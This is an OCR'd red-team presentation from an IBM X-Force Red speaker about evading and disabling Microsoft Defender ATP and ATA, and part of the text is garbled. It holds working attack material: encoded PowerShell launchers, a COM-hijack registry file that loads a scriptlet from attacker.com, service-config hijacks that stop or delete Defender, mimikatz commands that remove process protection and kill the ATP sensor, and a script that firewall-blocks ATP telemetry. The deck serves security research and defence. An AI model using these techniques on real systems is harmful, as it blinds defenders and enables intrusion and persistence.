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Whoami

A @retBandit

ARed Teaming Ops Lead, IBM X-Force Red [§
APart of CREST (crest-approved.org)
Al like mountain biking, drones, and beer

A Canadian, sorry not sorry
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Why ATA and ATP?
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TTP

External Recon Host Recon Lateral Movement

Passive Information Gathering Host Recon Evade Network Security Controls
Active Information Gathering Host Controls/Logging Recon Lateral Movement

Port Scanning Host Controls Bypass Network Exploitation

Service Enumeration Tools Transfer Elevate Network Privileges
Network/App Vuln Identification Short-Term Persistence

Host Privilege Escalation
Credential Theft

&

N

VERN-TE

S

Gain a Foothold Internal Recon Dominance
Exploit Vulnerabilities Network Recon Gain Domain Admin
Spear Phishing Domain Recon Gain Asset Admin
Social Engineering Asset Recon Sensitive Asset Access
Malicious USB Media Admin Recon Exfill Sensitive Data
Wireless Network Security Recon Long-Term Persistence

Physical

4  IBM Security




@%@mmol

g Active alerts

2 2
\ %

22 2
New In progress

I

18 2

A Highvalue assets [4] B servers [6] & Al alerts [24]

02.13.2017 I Abnormal code execution was contained within App Guard
02.10.2017 I Windows Defender AV detected an active 'CVE-2014-4114".
02.07.2017 I Code integrity tampering was detected

02.07.2017 Device Guard blocked an executable from running

B‘i Active alerts trend
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Low
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Medium

Informational
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Reporting by 05

I Mac I Server 2016
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Machines
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Machines I Windows 10 Linux

l Camar 2012
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Monthly | Daily
Reporting by health state
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I Tampered I Isolated

0%

Top machines at risk

cont-jonathanw
cont-jayhardee
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cont-cleogarza

Top users at risk

R

contoso\eva.macias
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contoso\cleo.garza

E@ Protected machines
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Detections
by source

€% Service health
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Device Firewall

Guard

SmartScreens [31]

I Firewall [2]

Windows 10 client

Windows 10 client

Linux

Windows server 2012

contoso\jonathan.wolcott Sales

Finance

Security

I DeviceGuard [6]

Credential
Guard

ExploitGuard [23]

high value asset

high value asset

elevated privileges

elevated privileges
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I AntiVirus [65]
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Device
Control

machines list
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Release 3 (October 17th)

Defender fibrando expanded to i1 nclude:
A Windows Defender Antivirus

A Windows Defender Advanced Threat Protection

A Windows Defender.... Exploit Guard

A ... Application Guard

A ... Device Guard

A ... Credential Guard

A More OS

Source: https://blogs.windows.com/business/2017/06/27/announcing-end-end-security-features-windows-10/
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M Communication to a malicious network destination (#17386) @ 411m g% Actions (79) [:] Comments (2) <D Tags (0)

¥ Fully Remediated
Alert Received

2 The malicious entities uncovered during the
Windows Defender ATP : iqation have b fll g di
Communication to a malicious network destination investigation:have been:successtullyremediat

e % 0

+ 4 correlated alerts

@ 2 Files were quarantined

[} $rébqic4.exe | c:\$recycle.bin\s-1-5-21-1697"
5450-2076875350-1481720747-500\$r6bq1c

xe
@ Data Sources (1) Threat Type
Endpolnts @ Endpoint 3 cont-denamarks
WDATP Graph-API @

a
v
2
©)

9 cont-denamarks
7 View File details
R contoso\dena.marks

5 cont-jacobgall

Q contoso\jacob.gall [ pcanyweeer.exe | c:\users\bingo\desktop\pca
weeer.exe
Threat Type

5 o Endpoint -j |
Remediation Sources (2) ndpoin £ contjacobgal

7 View details
Windows Firewall ﬁ
]

! —
Windows Defender Antivirus
w

X o
* 2 Processes were terminated

¥ $rébgicd.exe | c:\$recycle.bin\s-1-5-21-1697"
5450-2076875350-1481720747-500\$r6bq1c

xe
Threat Type
Found Threat Types Endpoint O cont-denamarks

Entities Analyzed (3174) m _
7 View Process details

D 2257 Files

2 Remediated

{‘é:; 84 Processes ¢5: pcanyweeer.exe | c:\users\bingo\desktop\pca
i Waited For User Approval HERCRENE
2 Remediated ai
) Threat Type
€3, 281Services @ Waited for 36 Seconds
X 542 Drivers Endpoint O cont-jacobgall
Q 10 IP Addresses
st 7 View Process details
1 Remediate
Result

Fully Remediated

& s Q 1 Connection was blocked
@2 &2 N1

" 342411142






Gaining a Foothold w/ Out Of The Box PS Payloads

{# Suspicious Powershell commandline

& Suspicious Powershell commandline

Severity: Medium
Category: Suspicious Activity

Detection source: Windows Defender ATP

Description

A suspicious Powershell commandline was found on the machine, This commandline might be used during installation, exploration, or in some cases with lateral movement activities
which are used by attackers to invoke modules, download external payloads, and get more information about the system. Attackers usually use Powershell to bypass security
protection mechanisms by executing their payload in memeory without touching the disk and leaving any trace

The process powershell.exe was executing suspicious commandline

"powershell.exe” -noP -sta -w 1 -enc WwBSAEUARgBAACAAQOBEzAFMARCOBNAGIADABZACLIARWBFAFDAVABZAHAAZ QA OACCAUWBS AHMADABIAGDALgEMNAGEADgBhAGCAZQBLAG
UAbgBOACSAQOBTAHOADWEBIAGEADAEDAGESADGALAEEARDSzAGKAVOEOAGKARAEZACCAKOBESADSAewAKAFSATOESACUAswAKAFSALDBHAGUAVABGAGKAZOSSAEDARKAANAGEA]
CE A G AR A A A AR A EA R Al AT AN A el [ B AR A M RO A I AYARCA G A S A ERA A A AR AHCA BT AC - AKO A AFRE A TR L AFY ACOIBR S IAFOANAT (A TABWA WA
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Obfuscated PS Payloads

{F Suspicious Powershell commandline

& Suspicious Powershell commandline

Severity: hedium
Category: Suspicious Activity

Ceteclion source: Windows Defender ATP

Description

A suspicious Powershell commandline was found on the machine, This commandline might be used during installation, exploration, or in some cases with lateral movement activities
which are used by attackers to invoke modules, download external payloads, and get more information about the system. Attackers usually use Powershell to bypass security
protection mechanisms by executing their payload in memery without touching the disk and leaving any trace.

The process powershell.exe was executing suspicious commandline

“powershell.exe” -MoP -Nonl -window Hidden -Exec Bypass -C
cet-variable -name ™ "C -value -; set-variable -name s -value e; set-variable -name q -value ¢ set-variable -name P -value ((get-variable C).value.toString()+(get-variable shvalue.toStri
ng()+({get-variable glvalue.tosString)) : powershell (get-variable Plvalue.toString() 1A COAToBIAHCALOEPAGIARgEIAGKM AdAADAEKATWALAEDAZ OBTAGSACgBSAFMADABYAGUAY D
BtACgALABRAEMADWBUAHYAZQByAHOAKQABADCARGBYAGEBADOBCAGEACWEIADYANABTAHOACGBpAGLATWACACIASAAJAHMASOBBAEEAQOBBAEEADOBBAEEAQOBEMADEAWA,
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They promised us freedom.




But delivered slavery.



ATP is a Beneficiary of WMF 5/ Win10 1703 Security Improvements

AWi ndow Management Framework (AP
1PS Script Block Logging
71PS Transaction/Transcription Logging
7PS nNnSuspicious Stringso
71PS Constrained Language Mode
1Just Enough Admin (JEA) support

AATP leverages client-side AMSI detections for PowerShell, with
Improvements for JavaScript & VBScript in RS3

14  IBM Security



ATP is a Beneficiary of WMF 5/ Win10 1703+ Security Improvements

ACandédt downgrade to PSv?2
ASystem-wide transcripts

ACommon techniques leveraging WScript.Shell, etc. are
also caught.

ACan 6t jNotBowershsllgNPS) or call directly as still
forced to use WMF 5

ABypasses exist but must be chained just right
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AMSI

C | & Secure | https://blogs.technetmicrosoft.com/mmpc/2017/12/04/windows-defender-atp-machine-learmning-and-amsi-unear

Windows Defender ATP machine learning
and AMSI: Unearthing script-based attacks
that ‘live off the land’

Rate this article

:‘i msft-mmpc in 32
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D e f e n d er A T P I Ijl {# A process is attempting to perform a self-deletion action using cmd.exe

& A malicious PowerShell Cmdlet was invoked on the

machine. Pass-the-ticket attack Malicious update

& A potential reverse shell was created
Severity: A process was injected with potentially malicious code o
Categony: SUspICOUS ACTIVITY

Detection source: Windows Defender ATP

Categony: Credential

PTTEN =

Process privilege escalation due to kemel | ;.. Medium

N . exploit .
& Network request to TOR anonymization service P regory: Sackdoar

I Detection source:  Windows Defender ATP

m & Unexpected behavior observed by a process run with no

command line arguments

& A malicious service name was registered on the machine.

: : m & Process hollowing detected
| Detection source;  Windows Defender ATP |

Severity: Medium

Connection to newly registered domain

& A document containing a suspicious macro was detected

& Anomalous Child Process Detected m ﬁ Abnormal service registration observed
I & Microsoft command-line utility Regsvr32.exe m

launched suspicious commands.

Severity: Medi
Category: Suspicious Activity

Severity: hMedium
Categony: Persistence




Not Detected: Misc. Techniques to Gain Initial Foothold

AObfuscated JScript/VBscriptp ay | oads t hat donot
declarations (suchas @v y s e ¢ UGACTIUSTORCH)

AUsi ng signed ex e cstgeledspayldad, aed a C
Ar un dob.dllS$tarto

ASome executables created with Veil (go-based) and Shellter

https://www.mdsec.co.uk/2017/07/payload-generation-with-cactustorch/
https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html
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Host Recon Windows Defender Security Center | Alert

echo % userdomain % {& Suspicious sequence of exploration activities
echo % logonserver

echo % homepath %

echo % homedrive % & Suspicious sequence of exploration activities
net share

systeminfo

tasklist /svc Severity: Low

gpresult [z Category: Reconnaissance

net Iocalgroup Ad Detection source: Windows Defender ATP
netsh advfirewall

systeminfo o
$env:ComSpec Description
$enVUSERNAME A process called a set of windows commands. These commands can be used by attackers in order to identify

assets of value and coordinate lateral movement after compromising a machine.
$env:USERDOMAIN Between 7/8/2017 8:46:53 PM and 7/8/2017 9:09:45 PM the following set of exploratory windows commands
$enVLOGONSERVER was observed on this machine: net user /domain:net viewnet view \fileserv fall :net sharetasklist fsvcnet local
Tree $h0me group Administrators;systeminfo
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Not Detected: WMI

wmic process list brief

wmic group list brief

wmic computersystem  list

wmic process list / format:list

wmic ntdomain list/  format:list

wmic useraccount list/  format:list

wmic group list / format:list

wmic sysaccount list/  format:list

wmic /Namespace: \\root \ SecurityCenter2 Path AntiVirusProduct Get *

Get- WmiObject - Class Win32_UserAccount - Filter " LocalAccount ="' Tr ued

21 IBM Security



Not Det ect ed: Ho st Recon Direct

AHost-onlyi nf o gathering directly ca
raw sockets, Metasploit railgun, etc.

AUse MSF modules with (local) API calls, such as
file_from_raw_ntfs.rb

ADon6t use MSFlocaladminl seasch lernut.
ACobaltStrike has a number of modules that are APl-only

AWe want to avoid AMSI at all <co
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Not Detected: Userland Persistence and AMSI Bypass via
Component Object Model (COM) Hijacking

HKLM (admin/system only)
+

HKCU (any user)

HKCR

Process Mame

‘B svchost.exe

‘B svchost.exe

‘W svchost.exe

:Efgwmipwse exe
—;Eﬁwmipwse BNE
:Ee;wmipwse EXE
iEjwmiprvse exe
—;Eﬁwmipwse BNE
iEjwmiprvse exe
—;Eﬁwmipwse BNE
iEjwmiprvse exe
—;Eﬁwmipwse BNE
iEjwmiprvse exe
g wmiprvse exe
—;Eﬁwmipwse BNE
iEjwmiprvse exe
—;Eﬁwmipwse BNE
iEjwmiprvse exe
—;Eﬁwmipwse BNE
iEjwmiprvse exe
EEHwmiprvse exe

FID  Operation

1004 ﬁﬂeg[ﬁlpenl{ey
1004 ﬁﬂeg@penl{ey
1004 ﬁﬂeg[ﬁlpenl{ey
5936 #%RegOpenkey
6536 ﬁﬂegﬂuew‘-ﬁalue
5936 #%RegOpenkey
5936 #%RegOpenkey
6936 #%RegOpenkey
&536 ﬁﬂegﬂuew‘-ﬁalue
6936 #%RegOpenkey
5936 #%RegOpenkey
6936 #%RegOpenkey
&536 ﬁﬂegﬂuew‘-ﬁalue
5936 ¥ RegOpenkey
6936 #%RegOpenkey
5936 #%RegOpenkey
6936 #%RegOpenkey
5936 #%RegOpenkey
6936 #%RegOpenkey
5936 #%RegOpenkey
6936 #%RegOpenkey

Fath

HKCRWOWE432Node \CLS 1D {8BC3F05E-DEE-1100-A075-00C04FBEE320) Local Serverd2
HKCRWWOWE432Mode \CLS 1D {8BC3FD5E-DE6B-1100-A075-00C04FBRE320)1 Local Server
HKCRWOWE432Node \CLS 1D {8BC3F05E-D3EE-1100-A075-00C04FBEE320) Blevation
HKCRMCLSID{4550F811-1D03A-1100-891F-00AADDLBZE24) Treat As

HKCRNCLSID {4550F211-1034-1100-391 F-00AADIMB2E2 4} Inproc Server 324 InprocServer 32
HKCRMCLSIDW{45%0F811-103A-1100-8%1 F-004A004B2E24 InprocHandler32

HKCRCLSID {4550F311-1034-1100-891F-00AAD0BZE24  InprocHandler
HKCRACLSID{4530F311-1D034-1100-891F-00AAD0LBZE24 Treat As
HKCRCLSID{4550F311-103A-1100-8%1 F-004A004B2E24 P InprocServer 32 Inproc Server32
HKCRACLSID{4530F811-103A-1100-8%1 F-0044004B2E24 Inproc Handler32

HKCRCLSID {4550F311-1034-1100-891F-00AAD0BZE24  InprocHandler
HKCRCLSID{4530F311-1D03A-1100-391 F-004A004B2E24 ) Local Server32
HKCRCLSID{4550F311-103A-1100-8%1 F-00AA004B2E24 AppID

HKCRYWCLSID {4590F211-103A-11D0-891 F-00AAD04B2E24) Local Server
HKCRMCLSID{4530F311-1D3A-1100-891 F-0044004B2E24 ) Hevation
HKCRMCLSID{4550F811-1D03A-1100-891F-00AADDLBZE24) Treat As
HKCRMCLSIDW{8BCIF0SE-DAEB-1100-A075-00C04FBER320) TreatAs
HKCRMCLSIDW{8BC3IFO5E-DE6E-1100-A075-00C04FB&EE 20} Inproc Server32
HKCRMCLSIDW{8BCAF05E-DEEB-1100-A075-00C 4FBGE320) Inproc Handler32
HKCRACLSID{8BC3FO5E-DE6E-11D0-A075-00C04FBEEE 201 InprocHandler
HKCRACLSIDW{DE3AFODA-29CB-43FA-3504-CEFSATIEDIEL ) Treat As

Result

NAME NOT FOLINDG

NAME NOT FOLUND
NAME NOT FOLIND
NAME NOT FOLUND
NAME NOT FOLIND
NAME NOT FOLIND
NAME NOT FOLUND
NAME NOT FOLIND
NAME NOT FOLUND
NAME NOT FOLIND
NAME NOT FOLUND
NAME NOT FOLIND
NAME NOT FOLND
NAME NOT FOLUND
NAME NOT FOLIND
NAME NOT FOLUND
NAME NOT FOLIND
NAME NOT FOLUND
NAME NOT FOLIND
NAME NOT FOUND




Userland Persistence via Component Object Model (COM) Hijacking

Windows Registry Editor Version 5.088
#DotNetTolScript and COM technique credits to James Forshaw @tiraniddo, Matt Nelson @enigma@x3, Casey Smith {@subTed
[HKEY _CURRENT_USER\SOFTWARE\Classes\Bandit.l1.08]

@="Bandit"
[HKEY_ CURRENT_USER\SOFTWARE\Classes‘\Bandit.1l.8@\CLSID]

(@="1{00000001-0000-0000-0000-000BFEEDACDC]}"
melasmﬂﬁandit]
@="Bandit"
[HKEY_CURRENT_USER\SOFTWARE\Classes‘\Bandit\CLSID]
@="{00000001-0000-0000-0000-0AOBFEEDACDC "

[HKEY_ CURRENT_USER\SOFTWARE\Classes\CLSID\{©0800001-0000-0000-0000-0080FEEDACDC] ]

@="Bandit"

[HKEY CURRENT_USER\SOFTWARE\Classes\CLSID\{@0000001-0000-0000-2000-0000FEEDACDC }\InprocServer32]
@="C:\\WINDOWS\\system32\\scrobj.d11"

"ThreadingModel”="Apartment”

[HKEY CURRENT USER\SOFTWARE\Classes‘\CLSID\{@8600001-0000-0000-0000-00088FEEDACDC }\ProgID]

ﬂ=IIE | J EEII
[HKEY_ CURRENT USER\SOFTWARE\Classes\CLSID\{G0000061-0000-0000-0000-0008FEEDACDC }\ScriptletURL]

@="https://attacker.com/payload.sct”
LMHClasSESHC me}‘#e rsiunindepenc entProgID]
@="Bandit"
[HKEY CURRENT USER\SOFTWARE\Classes‘\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}]
[HKEY CURRENT USER\SOFTWARE\Classes\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA\Treatis]
="{00000ee1 -000e -0000 -9008 -B8eaFEEDACDC "
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Userland Persistence via Component Object Model (COM) Hijacking

E‘} Registry Editor
File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Software'\ Classes\ CLSIDN{ 00000007 -0000-0000-0000-0000FEEDACDC P ScnptletURL

v | CLaID * || Name Type  Data
v L 100000001-0000-0000-0000-000DFEEDACDC ﬂ{Default] REG_5Z https://attacker.com/payload.sct
P InprocServer32
ProglD
ScriptletlRL

VersionIndependentProglD
{00020420-0000-0000-C0O00-000000000046}

\HKEY_CURRENT_USER\Software\Classes\CLSID\E7TD35CFA-348B-485E-B524-252725D697CAN TreatAs
. v | | {ETD35CFA-348B-485E-B524-252 A || Name Type  Data

BEalle ab)(Default) REG_SZ {000D0DD1-0000-0000-0000-0000FEEDACDC)
TE2A1CERN-RG8-ACFS-BCET- N3
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E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator
E Calculator

E Calculator

E Calculator

Calculator Calculator

MS

Calculator
= Standard
O x

0

i

M+

MS

No AMSI

No Alerts

https://www.slideshare.net/enigma0Ox3/windows-
_ operating-system-archaeology
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Canot Stop ATP Process, Service, Et

with PID 163 (child proc of PID 796) could not be terminated.
denied.

stop Sense \system32>sc query

FAILED

OWMN_PROCESS

\J
STOPPAELE, NOT_PAUSABLE, IGMNORES_SHUTDOWN)

9 Unable to suspend the process: Access is denied.

c is denied.

& Tampering with Windows Defender ATP sensor & Attempt to terminate the Windows Defender ATP sensor
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Uninstalling

A Unlike other PSP/cloud AV products like CrowdStrike, you cano6t | u:
them from an elevated command prompt.

wmic product where "description="' CrowdStrike  Sensor
Pl atformb6o Uninstal/l

A ATP requires a generated offboarding script with a SHA256 signed reg key:

REG add "HKLM\SOFTWARE\Policies\Microsoft\Windows Adwvanced Threat Protection" /v
696C1FA1-4030-4FA4-8713-FAF9B2EATCOA /t REG SZ /f /d

"{\"body\":\" {\\\"orgIds\\\": [\\\"1fb2cfae-29e5-4876-abc3-48b9%86abeadZ\\\"],\\\"orgId\\\
" \\\"1fb2cfae-29e5-4876-abc3-48b9%86abead2\\\" ,\\\"expirationTimestamp\\\":131455824365]
PBT59, \\\"version\\\":\AN"L.IINAA" IV, \"8ig\":\"WgiiKEITSCiiQk9qIMhbadlUw+
MeX3VerkZ2FFrd4b1kVYOighJYQ/ER1XK]BW81Vo /FaYcx2I0+rzPHE TLLTWpKAxdIRMi XugoXgM11X40b+
Jzm/RAhpKACThX jaTHVXcWFr7sg3garXT1oD4xHSvaj642W39woTwcTgRTLTZB7 ombdrdEKkSCKXkS5ThAtFEfhoQnhH
h2GcjAsOkA/90JrntS1SAJXDYsTS8ECMadY2QGPE/YC+nWZR/HIrzXcFZSuEU/JTBBTeJN+/ArPndatZ+
hiWPzDJC5k1XcC3BSFSVyNBIrDbVeYsSkFFFwl /uc/Ua+ZDzWhLTr3I+53L6VGB3Vw==

N, \"shaZ256sig\" :\"DxKkdds3PtvN+LbrgBd]9BgAgsfaudbhrhpWN+

Pt LA 1 A Z . A 1.1 1o i IASFTITT Y §

29 IBM Security



ARnProtected Process Lighto

n  Certificate ot

General Cetails Certification Path

ion windefend Show: | <Al o
Field Value =
DF'LItIliE key parameters 0500
.@Enhanced Key Usage Protected Process Light Verific. ..
-@Suhject Key Identifier 27b9d3d2a2 3e ffOc9a 35...
-gSul:uject Alternative Name Directory Address:SERIALMUM. .,
.'g.ﬁ.uﬂﬁurity Key Identifier KeyIlD=a% 2902 39 8e 16 c49...
i+1)| CRL Distribution Paoints [1]CRL Distribution Paint: Distr. ..
-g.ﬁ.uﬂm:lrity Information Access  [1]Authority Info Access: Acc...
I._']Ft;uqir Cnnetrainte Ciihiert Tune =Fnd Frntitey_ Pat v
Protected Process Light Verification (1.3.6.1.4.1.311.10.3.22)
Windows System Component Verification (1.3.6.1.4.1,311.10.3.8)
Code Signing (1.3.6.1.5.5.7.3.3)
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PPL Bypass

ADef ender AV service can be stopped/ del
Antimalware PPL bypass:

sc config Trustedinstaller binPath ="cmd.exe /C sc stop
windefend && sc delete windefend " && sc start
TrustedInstaller

A ... since RS2, ATP (MsSense.exe) runs now at a Windows PPL protection level
Instead of a AntiMalware PPL, and the process is configured as
ANOT STOPPABLEO

& Trustedinstaller hijack attempt

Severity: MWedium

IBM Security



Matt Graeber
9 @mattifestation m v
In the "assume breach"” world we live in, how
is "It doesn't matter. You were already

admin." a relevant or practical statement?

6:23 PM - 2 Oct 2017

T Retweets 28 Likes @ a . @ . . . . e




Block ATP Comms via DiagTrack Service (Privileged)

1703/ATP Release 2;

C:\>sc gprotection diagtrack

[SC] QueryServiceConfig2 SUCCESS
SERVICE diagtrack IPROTECTION LEVEL: NONE.

1709/ATP Release 3:

:\>»sc gprotection diagt

[SC] QueryServiceConfig2 SUCCESS

SERVICE diag ack PROTECTION LEVEL: [WINDOWS LIGHT.




Block ATP Comms via DiagTrack Service (Privileged)

SERVICE NAME: diagtrack
TYPE : 10 WIN32 OWN PROCE

CTATC
-

STATE : 3 STOP_PENDING
(STOPPABLE] NOT_PAUSABLE, ACCEPTS_PRESHUTDOWN)

sc config Trustedinstaller binPath =
"cmd.exe /C sc stop diagtrack & sc config diagtrack
binPath ='lol" && sc start  Trustedlnstaller

Connected User Expenences and Telemetry Properties

General logOn Recovery Dependencies

Service name: DiagTrack
Digplay name: Connected User Experiences and Telg
Description: The Connected LUser Experences ang

service enables features that support i

Path to executable:




Canot Rename The WDATP Binari es

File Access Denied >

f You need permission to perform this action

You require permission from Trustedinstaller to make changes to this file

SenseCncP5.dll

File description: Windows Defender Advanced Threat
Protection Communications module

Company: Microsoft Corporation

File version: 10.3720.162%9.15

Date created: 97292017 T:42 AM

Size: 15.0 KB
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éBut We Can Hijack I tos DLLs (Pl

Process Name PID Operation Path

®|SenseCncProxy.exe 4340 B\QueryStream._.. C:\Windows\System32\winhttp_dil
‘SenseCncProxy.exe oad Image C:Windows\System32winhttp.dlil

®|SenseCncProxy.exe 4340 BhCloseFile C\Windows\System32\winhttp.dll

m32\USERENV.d11)
\WINHTTP.d11)
tem32\bcrypt.dll)

-

Windows Defender Advanced Threat Protection\USERENV.d1ll
ndows Defender Advanced Threat Protection\WINHTTP.dl1l

dindows Defender Advanced Threat Protection\bcrypt.dll (r

4
b M M

D~~~
. 9.5

&|5enseCncProxy.exe 5820 BrCreateFileMa... C:\Program Files\Windows Defender Advanced Threat Protection'Winhttp.dll

®|SenseCncProxy.exe 5820 EhQueryStanda_ . C-\Program Files\Windows Defender Advanced Threat Protection\Winhttp dl

m|SenseCncProxy.exe 5820 EhReadFile C:\Program Files\Windows Defender Advanced Threat ProtectiontWinhttp_dll
enseCncProxy.exe | C:\Program Files\Windows Defender Advanced Threat Protection\Winhttp.dlil

®|SenseCncProxy exe 2820 & Thread Exit

®|SenseCncProxy exe 2820 & Thread Exit
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Remove PPL Protection, Kill Process (Privileged)

mimikatz # !+

[*] 'mimidrv’ service not present

[+] "mimidrv’ service successfully registered
[+] 'mimidrv’ service ACL to everyone

[+] 'mimidrv® service started

mimikatz # !processprotect /process:MsSense.exe /remove
Process : MsSense.exe

C:\Windows\system32>taskkill /F /IM MsSense.exe /T
SUCCESS: The process with PID 1552 (child process of PID 816) has been terminated.

C:\Windows\system32>sc gprotection sense
[SC] QueryServiceConfig2 SUCCESS
SERVICE sense PROTECTION LEVEL: WINDOWS LIGHT.

C:\Windows\system32>sc query sense

SERVICE NAME: sense
TYPE ;18 WIN32_ _OWN_PROCESS
STATE : 1 STOPPED
WIN32 _EXIT_CODE : 1867 (ex42b)
SERVICE _EXIT CODE : & (©x@)
CHECKPOINT 1 BxB
WALIT _HINT : Bxe
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MIi mi katz Driver 0s Service Regil s

& A malicious service name was registered on

the machine.
Actions v
Severity: Low
Category: Lateral Movement

Detection source: Windows Defender ATP

Description

A malicious service name was registered on the machine.
The service can be used to run in high privileges and\or move laterally in the network.

A malicious Windows service registration occurred (service name is "mimidrv").
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éeBut We Can Change The Sa&@nvi ce

= 53333 wininit.exe

E @ services.exe

@ | '? HKEY LOCAL MACHINE\SYSTEM\ControISetDm\Serwces\rmwdrv

-_I.--L_--' (=T }
.'-"-.-- Vi '-.-.'-' L '-._‘ ! '-l._-l'-.._:'.'.H-.' _.- -“«. e

ﬂ mirmikatz - Microsoft Visual Studio
File  Edit View  Project Build Debug Teamn  Tools  Test  Analyze  Window  Help

Q- | B2 W d‘| - = | Release = Win32 ~ P Local Windows Debugger ~r| J-. = | = | n -
E sqlite3_omit.c kuhl_m_sekurlsa_nt63.c mimidre.c B 2 FE TR Ay kkll_m_ssdt.c kkll_m_process.h kkll_m_process.c
|"[i -
™ 160 case TOCTL_MIMIDRV_PROCESS TOKEN:
T_E':—- 161 status = kkll m process token(szBufferIn, bufferIn, &kOutputBuffer);
- 162 break;
? 183 case IOCTL_MIMIDRV_PROCESS_PROTECT:
5'; 184 status = kkll m process protect(szBufferIn, bufferIn, &kOutputBuffer);
185 break;
= 106 case TOCTL MIMIDRY PROCESS FULLPRIV:
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Now Also Alerts On PPL Tampering*

& Protected Process Tampering

Actions v
Severity: High
Category: Suspicious Activity

Detection source: Windows Defender ATP

Description

A Process was started as Protected Process, but the protection was removed.
The affected process is '"MsSense.exe’

sc config Trustedinstaller binPath =
"cmd.exe /C  sc config sense binPath ='blank ™
&& sc start  Trustedinstaller
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Become Trusted Installer to Target Executables (Privileged)

AWe can use James Forshawd6s technique
rename protected ATP executables;

IPS C:\Users\EdwardAbbey\Desktop> Set-NtTokenPrivilege SeDebugPrivilege

Name Luid IsEnabled

|
|
|

[SeDebugPrivilege ©0000000- 00000014 True

fs C:\Users\EdwardAbbey\Desktop> Start-Service TrustedInstaller
iPS C:\Users\EdwardAbbey\Desktop> i Get-NtProcess TrustedInstaller.exe

PS C:\Users\EdwardAbbey\Desktop> $t ip.OpenToken()
IPS C:\Users\EdwardAbbey\Desktop> $t.Groups | Where-Object {$_.Sid.Name

Wame Attributes
|

pT SERVICE\TrustedInstaller EnabledByDefault, Owner
NT SERVICE\TrustedInstaller EnabledByDefault, Enabled,

|

PS C:\Users\EdwardAbbey\Desktop> % New-Win32Process cmd.exe NewConsole

Administrator: C:\Windows\System32\cmd.exe

C:\Users\EdwardAbbey\Desktop>whoami /groups findstr Trusted
NT SERVICE\ Well-known group S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464 Enabled by defat
Enabled group, Group owner

C:\Users\EdwardAbbey\Desktop>rename| "C:\Program Files\Windows Defender Advanced Threat Protection\SenseCncProxy.exe" SenseCncProxi.exe

https://tyranidslair.blogspot.ca/2017/08/the-art-of-becoming-trustedinstaller.html



Block All Windows Defender/ATP Comms via FW (Privileged)

#Detine Cloud Security Vendor Address
#Windows Defender ATP

IMSATPL = "securitycenter.windows.com”

IMSATPZ "winatp-gw-cus.microsoft.com”

IMSATP2 = "winatp-gw-eus.microsoft.com”

IMSATP4 = "winatp-gw-weu.microsoft.com”

IMSATPS "winatp-gw-neu.microsoft.com"

IMSATPE "us.vortex-win.data.microsoft.com"

IMSATPT "eu.vortex-win.data.microsoft.com"

IMSATPE = "psapp.microsoft.com"

iMSATPY = "psappeu.microsoft.com"

SMSATPURLs = SMSATP1,$MSATP2,SMSATP3, SMSATP4, SMSATPS, SMSATP6, SMSATP7 , SMSATPS , SMSATPY

#Checking for Behavioural Analysis AV security product processes and adding outbound FW blocks

write-output ("[*] Checking for Behavioural analytics AV security product processes and adding outbound firewall block rules” "
CmdletBinding()

fprocessnames fprocesses Select-Object ProcessName

Foreach (fps in $processnames)

if ($ps.ProcessName "iMsSense®')
{
Write-OQutput ("[*] Defender ATP process " fps.ProcessName " 4is running.” " Resolving ATP FQDN IP's and blocking

IMSATPC ToudIPs (SMSATPURLSs foreach {[System.Net.Dns GetHostAddresses (% ) Select-Object -ExpandProperty IP!
Foreach-object {

New-NetFirewallRule] -DisplayName "Windows Advertising Broker" -Direction Outbound -Action Block -RemoteAddress "%
?FitE-hOSt "$_ - Outbound Firewall Block Was Added: $7"

You can use the same (privileged) technique to block in/out traffic for WinRM,
Sysmon via Windows Event Forwarding, SCOM, etc.
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Threat Neutralized




Advanced Threat Analytics

AATA captures and parses network traff]
DNS, RPC, NTLM and others) for authentication, authorization and information
gat hering. o

Designed to Detect:

A Pass-the-Ticket (PtT) A Brute force

A Pass-the-Hash (PtH) A Remote execution

A Overpass-the-Hash A Weak/malicious protocol usage
A Forged PAC (MS14-068) A Abnormal user behavior

A Golden Ticket A Modification of sensitive groups

A Malicious replications
A Reconnaissance

https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata
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ATA On Premise Architecture

Port Mirroring
(Network DPI)

ATA Gatewdy  ——

Windows Event
Forwarding (WEF)

Syslog Forwarding

T T T L
| H S : : H |
% File!ver ;; A A Fileserver %

Mescssmsmsnssnnmnomenmonne

A ATA relies on the following Windows events: 7 A -
ightweight Lightweight
4776,4732,4733,4728, 4729, 4756, 4757 Gateway Gateway
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Coming soon...
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Microsoft Advanced Threat Analytics

= Timeline
All [27]

Open [27]
@ High [7]

edium [16]
B Low [4]
Closed [0]

Suppressed [0]

4:11 PM May 14, 2017

Sensitive account credentials exposed

Administrator's credentials were exposed in cleartext using LDAP simple bind.

3:58 PM May 14,

017
Encryption downgrade activity

The encryption method of the TGT field of TGS_REQ message from CLIENT1 has been downgraded based on previously learned behavid
on CLIENTT.

3:21 PM May 14, 2017

Kerberos Golden Ticket activity

Suspicious usage of CLIENT1's Kerberos ticket, indicating a potential Golden Ticket attack, was detected

2:43 PM May 14, 2017

Abnormal modification of sensitive groups

Administrator has uncharacteristically modified sensitive group memberships.

2:33 PM May 14

Massive object deletion
496 objects (9.75% of total AD objects) were deleted over a period of a few seconds from domain domain1.test.local.
1:30 PM May 14, 2017

Suspicious authentication failures

Suspicious authentication failures indicating a potential brute-force attack were detected from CLIENT1.

Identity theft using
Pass-the-Ticket attack

Icdentity theft using
Pass-the-Hash attack

Reconnaissance using
account enumeration

Haneytoken activity

Unusual protocol
implementation

Privilege escalation
using forged
authorization data

Suspicion of identity
theft based on
abnormal behavior



ATA Learning Period |
(g TIMETO

1 month of learning:

A Abnormal behavior I-Enn“!

A Abnormal sensitive group modification

A Recon using Directory Services

1 week of learning:

A Encryption downgrades (skeleton key, golden ticket, over pass the hash)

A Brute force
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Detected: Bulk DNS queries, nslookup, zone transfers

Reconnaissance using DNS
Suspicious DN5 activity was observed, originating from WIN10A (which is not a DN5 server) against DC03.

IBM Security



Detected* AD Recon using SAMR protocol or

Reconnaissance using directory services enumeration

